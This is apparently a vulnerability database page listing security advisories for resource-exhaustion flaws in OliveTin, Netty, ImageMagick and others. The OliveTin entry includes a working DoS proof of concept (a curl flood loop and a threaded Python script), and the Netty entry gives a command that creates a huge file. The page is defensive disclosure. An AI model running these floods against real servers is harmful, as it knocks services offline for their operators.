Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5803 vulnerabilities reference this CWE, most recent first.

GHSA-XPXJ-F2FM-RQCH

Vulnerability from github – Published: 2026-07-30 14:24 – Updated: 2026-07-30 14:24
VLAI
Summary
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
Details

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: *oauth2State struct containing: - providerConfig *oauth2.Config (pointer, 8 bytes + shared config) - providerName string (~8-16 bytes) - Username string (empty initially) - Usergroup string (empty initially) - Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20251024001301-45f9c18bc3ee"
            },
            {
              "fixed": "0.0.0-20260708075951-ec114e95d297"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:24:53Z",
    "nvd_published_at": "2026-07-29T21:17:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.\n\nThis is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access \u2014 the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.\n\n## Affected Versions\n\n- All versions with OAuth2 support, including \u003e= 3000.10.3 (which patched CVE-2026-28789)\n\n## Details\n\nIn `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:\n\n```go\ntype OAuth2Handler struct {\n    cfg                 *config.Config\n    mu                  sync.RWMutex\n    registeredStates    map[string]*oauth2State  // NEVER cleaned up\n    registeredProviders map[string]*oauth2.Config\n}\n```\n\nThe `HandleOAuthLogin` handler adds a new state on every request:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {\n    state, _ := randString(16)  // 24-byte base64 string\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state] = \u0026oauth2State{\n        providerConfig: provider,\n        providerName:   providerName,\n        Username:       \"\",\n    }\n    h.mu.Unlock()\n    // ... redirect to OAuth2 provider\n}\n```\n\nThe `HandleOAuthCallback` handler updates existing states but never removes them:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes\n    h.registeredStates[state].Usergroup = ...\n    h.mu.Unlock()\n}\n```\n\nThere is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.\n\n### Memory Impact Per State\n\nEach map entry consists of:\n- Key: ~24 bytes (base64 string)\n- Value: `*oauth2State` struct containing:\n  - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)\n  - `providerName string` (~8-16 bytes)\n  - `Username string` (empty initially)\n  - `Usergroup string` (empty initially)\n- Go map overhead: ~100-150 bytes per entry\n\nEstimated: **~200 bytes per state entry**\n\nAt 1 million states \u2248 **200 MB** of memory consumed.\nAt 10 million states \u2248 **2 GB** of memory consumed.\n\n### Attack Vector\n\nThe `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least one OAuth2 provider configured\n- Network access to `/oauth/login`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"INFO\"\ncheckForUpdates: false\n\nauthOAuth2RedirectUrl: \"http://127.0.0.1:1337/oauth/callback\"\nauthOAuth2Providers:\n  github:\n    clientId: \"test-client-id\"\n    clientSecret: \"test-client-secret\"\n\nactions:\n  - title: noop\n    shell: echo \"ok\"\n```\n\n### Step 1: Baseline health check\n\n```bash\ncurl -i http://127.0.0.1:1337/readyz\n# Expected: 200 OK\n\ncurl -I \"http://127.0.0.1:1337/oauth/login?provider=github\"\n# Expected: 302 Found (redirect to GitHub)\n```\n\n### Step 2: Flood with state-creation requests\n\n```bash\n# Each request creates a new map entry that is never cleaned up\nfor i in $(seq 1 100000); do\n  curl -s -o /dev/null \"http://127.0.0.1:1337/oauth/login?provider=github\" \u0026\n  # Throttle to avoid connection limits\n  if (( i % 500 == 0 )); then\n    wait\n    echo \"Sent $i requests...\"\n  fi\ndone\nwait\necho \"Flood complete\"\n```\n\n### Step 3: Python PoC for sustained memory exhaustion\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: OAuth2 State Memory Exhaustion DoS\n\nDistinct from CVE-2026-28789 (concurrent map crash).\nThis exploits unbounded growth of the registeredStates map.\n\"\"\"\n\nimport requests\nimport time\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://127.0.0.1:1337\"\nPROVIDER = \"github\"\nWORKERS = 50\nTOTAL_REQUESTS = 500000\nBATCH_SIZE = 1000\n\ndef create_state(_):\n    \"\"\"Send /oauth/login to create a new state entry.\"\"\"\n    try:\n        requests.get(\n            f\"{TARGET}/oauth/login?provider={PROVIDER}\",\n            allow_redirects=False,\n            timeout=5\n        )\n        return True\n    except Exception:\n        return False\n\ndef check_health():\n    \"\"\"Check if the server is still responsive.\"\"\"\n    try:\n        r = requests.get(f\"{TARGET}/readyz\", timeout=5)\n        return r.status_code == 200\n    except Exception:\n        return False\n\nprint(f\"[*] Target: {TARGET}\")\nprint(f\"[*] Provider: {PROVIDER}\")\nprint(f\"[*] Total requests: {TOTAL_REQUESTS}\")\nprint(f\"[*] Workers: {WORKERS}\")\nprint()\n\nif not check_health():\n    print(\"[!] Server not reachable\")\n    sys.exit(1)\n\nstart_time = time.time()\ntotal_created = 0\n\nwith ThreadPoolExecutor(max_workers=WORKERS) as executor:\n    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):\n        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)\n        results = list(executor.map(create_state, range(batch_start, batch_end)))\n        total_created += sum(results)\n\n        elapsed = time.time() - start_time\n        rate = total_created / elapsed if elapsed \u003e 0 else 0\n        est_memory = total_created * 200 / 1024 / 1024  # MB\n\n        print(f\"  States created: {total_created:\u003e8} | \"\n              f\"Rate: {rate:\u003e6.0f}/s | \"\n              f\"Est. memory: {est_memory:\u003e6.1f} MB | \"\n              f\"Healthy: {check_health()}\")\n\n        if not check_health():\n            print(f\"\\n[!] Server became unresponsive after {total_created} states!\")\n            print(f\"[!] Estimated memory consumed: {est_memory:.1f} MB\")\n            break\n\nprint(f\"\\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s\")\n```\n\n### Step 4: Verify memory growth (Docker)\n\n```bash\ndocker stats olivetin-instance --no-stream\n# Observe MEM USAGE growing continuously during the attack\n```\n\n## Impact\n\n- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured\n- **Attack requirements:** Unauthenticated network access to `/oauth/login`\n- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation\n- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops \u2014 a restart is required\n- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.\n\n## Suggested Fix\n\n1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)\n2. Add a maximum state count (e.g., 10,000) with LRU eviction\n3. Clean up states after successful callback\n4. Add periodic garbage collection for expired states",
  "id": "GHSA-xpxj-f2fm-rqch",
  "modified": "2026-07-30T14:24:53Z",
  "published": "2026-07-30T14:24:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xpxj-f2fm-rqch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/ec114e95d297b806c3ca0c37bc139b3c9c517b3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)"
}

GHSA-XPXM-9VVW-PJC3

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-07-13 00:01
VLAI
Details

There is a denial of service (DoS) vulnerability in eCNS280 versions V100R005C00, V100R005C10. Due to a design defect, remote unauthorized attackers send a large number of specific messages to affected devices, causing system resource exhaustion and web application DoS.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-06T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a denial of service (DoS) vulnerability in eCNS280 versions V100R005C00, V100R005C10. Due to a design defect, remote unauthorized attackers send a large number of specific messages to affected devices, causing system resource exhaustion and web application DoS.",
  "id": "GHSA-xpxm-9vvw-pjc3",
  "modified": "2022-07-13T00:01:09Z",
  "published": "2022-05-24T17:41:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22292"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20210113-02-dos-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ3W-V528-46RV

Vulnerability from github – Published: 2024-11-12 19:53 – Updated: 2025-02-18 15:57
VLAI
Summary
Denial of Service attack on windows app using netty
Details

Summary

An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.

Details

When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.

At this stage, Netty tries to load both /etc/os-release and /usr/lib/os-release even though it is in a Windows environment.

1

If netty finds this files, it reads them and loads them into memory.

By default :

  • The JVM maximum memory size is set to 1 GB,
  • A non-privileged user can create a directory at C:\ and create files within it.

2

3

the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java

Despite the implementation of the function normalizeOs() the source code not verify the OS before reading C:\etc\os-release and C:\usr\lib\os-release.

PoC

Create a file larger than 1 GB of data in C:\etc\os-release or C:\usr\lib\os-release on a Windows environnement and start your Netty application.

To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/)

cd C:\etc
fsutil file createnew os-release 3000000000

4

5

The source code used is the Netty website code example : Echo ‐ the very basic client and server.

The vulnerability was tested on the 4.1.112.Final version.

The security analyst tried the same technique for C:\proc\sys\net\core\somaxconn with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186

Impact

By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.

This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.

Client mode :

6

Server mode :

7

somaxconn :

8

Severity

  • Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running.
  • Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents).
  • Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability.
  • User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.
  • Scope : "Unchanged" because only Netty is affected by the vulnerability.
  • Confidentiality : "None" because no data is exposed through exploiting the vulnerability.
  • Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.
  • Availability : "High" because the exploitation of this vulnerability crashes the entire java application.
Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
5.4 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.114.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.115.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-12T19:53:17Z",
    "nvd_published_at": "2024-11-12T16:15:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n\n### Details\n\nWhen the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.\n\nAt this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. \n\n\u003cimg width=\"364\" alt=\"1\" src=\"https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59\"\u003e\n\nIf netty finds this files, it reads them and loads them into memory.\n\nBy default :\n\n- The JVM maximum memory size is set to 1 GB,\n- A non-privileged user can create a directory at `C:\\` and create files within it.\n\n\u003cimg width=\"340\" alt=\"2\" src=\"https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831\"\u003e\n\n\u003cimg width=\"523\" alt=\"3\" src=\"https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1\"\u003e\n\nthe source code identified :\nhttps://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java\n\nDespite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\\etc\\os-release` and `C:\\usr\\lib\\os-release`.\n\n### PoC\n\nCreate a file larger than 1 GB of data in `C:\\etc\\os-release` or `C:\\usr\\lib\\os-release` on a Windows environnement and start your Netty application.\n\nTo observe what the application does with the file, the security analyst used \"Process Monitor\" from the \"Windows SysInternals\" suite. (https://learn.microsoft.com/en-us/sysinternals/)\n\n```\ncd C:\\etc\nfsutil file createnew os-release 3000000000\n```\n\n\u003cimg width=\"519\" alt=\"4\" src=\"https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f\"\u003e\n\n\u003cimg width=\"517\" alt=\"5\" src=\"https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f\"\u003e\n\nThe source code used is the Netty website code example : [Echo \u2010 the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html).\n\nThe vulnerability was tested on the 4.1.112.Final version.\n\nThe security analyst tried the same technique for `C:\\proc\\sys\\net\\core\\somaxconn` with a lot of values to impact Netty but the only things that works is the \"larger than 1 GB file\" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186\n\n### Impact\n\nBy loading the \"file larger than 1 GB\" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.\n\nThis behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.\n\nClient mode :\n\n\u003cimg width=\"449\" alt=\"6\" src=\"https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be\"\u003e\n\nServer mode :\n\n\u003cimg width=\"464\" alt=\"7\" src=\"https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb\"\u003e\n\nsomaxconn :\n\n\u003cimg width=\"532\" alt=\"8\" src=\"https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3\"\u003e\n\n### Severity\n\n- Attack vector : \"Local\" because the attacker needs to be on the system where the Netty application is running.\n- Attack complexity : \"Low\" because the attacker only need to create a massive file (regardless of its contents).\n- Privileges required : \"Low\" because the attacker requires a user account to exploit the vulnerability.\n- User intercation : \"None\" because the administrator don\u0027t need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.\n- Scope : \"Unchanged\" because only Netty is affected by the vulnerability.\n- Confidentiality : \"None\" because no data is exposed through exploiting the vulnerability.\n- Integrity : \"None\" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.\n- Availability : \"High\" because the exploitation of this vulnerability crashes the entire java application.",
  "id": "GHSA-xq3w-v528-46rv",
  "modified": "2025-02-18T15:57:45Z",
  "published": "2024-11-12T19:53:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/fbf7a704a82e7449b48bd0bbb679f5661c6d61a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of Service attack on windows app using netty"
}

GHSA-XQ93-2HG3-RPJX

Vulnerability from github – Published: 2025-10-30 15:32 – Updated: 2025-10-30 15:32
VLAI
Details

Zohocorp ManageEngine Exchange Reporter Plus through 5721 are vulnerable to ReDOS vulnerability in the search module.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-5342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-30T15:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Zohocorp ManageEngine Exchange Reporter Plus through 5721 are vulnerable to ReDOS vulnerability in the search module.",
  "id": "GHSA-xq93-2hg3-rpjx",
  "modified": "2025-10-30T15:32:37Z",
  "published": "2025-10-30T15:32:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5342"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2025-5342.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQCV-P45J-C72Q

Vulnerability from github – Published: 2023-08-24 21:30 – Updated: 2024-04-04 07:11
VLAI
Details

A remote unprivileged attacker can sent multiple packages to the LMS5xx to disrupt its availability through a TCP SYN-based denial-of-service (DDoS) attack. By exploiting this vulnerability, an attacker can flood the targeted LMS5xx with a high volume of TCP SYN requests, overwhelming its resources and causing it to become unresponsive or unavailable for legitimate users.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-24T19:15:42Z",
    "severity": "HIGH"
  },
  "details": "A remote unprivileged attacker can sent multiple packages to the LMS5xx to disrupt its availability through a TCP SYN-based denial-of-service (DDoS) attack. \nBy exploiting this vulnerability, an attacker can flood the targeted LMS5xx with a high volume of TCP SYN requests, overwhelming its resources and causing it to become unresponsive or unavailable for legitimate users.",
  "id": "GHSA-xqcv-p45j-c72q",
  "modified": "2024-04-04T07:11:38Z",
  "published": "2023-08-24T21:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4418"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0007.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0007.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQM6-6GWM-HWPW

Vulnerability from github – Published: 2022-05-04 00:29 – Updated: 2022-05-04 00:29
VLAI
Details

The JPEGWarningHandler function in coders/jpeg.c in ImageMagick before 6.7.6-3 allows remote attackers to cause a denial of service (memory consumption) via a JPEG image with a crafted sequence of restart markers.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-0260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-06-05T22:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The JPEGWarningHandler function in coders/jpeg.c in ImageMagick before 6.7.6-3 allows remote attackers to cause a denial of service (memory consumption) via a JPEG image with a crafted sequence of restart markers.",
  "id": "GHSA-xqm6-6gwm-hwpw",
  "modified": "2022-05-04T00:29:03Z",
  "published": "2022-05-04T00:29:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0260"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74658"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2012-06/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0544.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-0545.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/48974"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/49063"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/49068"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/49317"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/55035"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/57224"
    },
    {
      "type": "WEB",
      "url": "http://www.cert.fi/en/reports/2012/vulnerability635606.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2012/dsa-2462"
    },
    {
      "type": "WEB",
      "url": "http://www.imagemagick.org/discourse-server/viewtopic.php?f=4\u0026t=20629"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/81022"
    },
    {
      "type": "WEB",
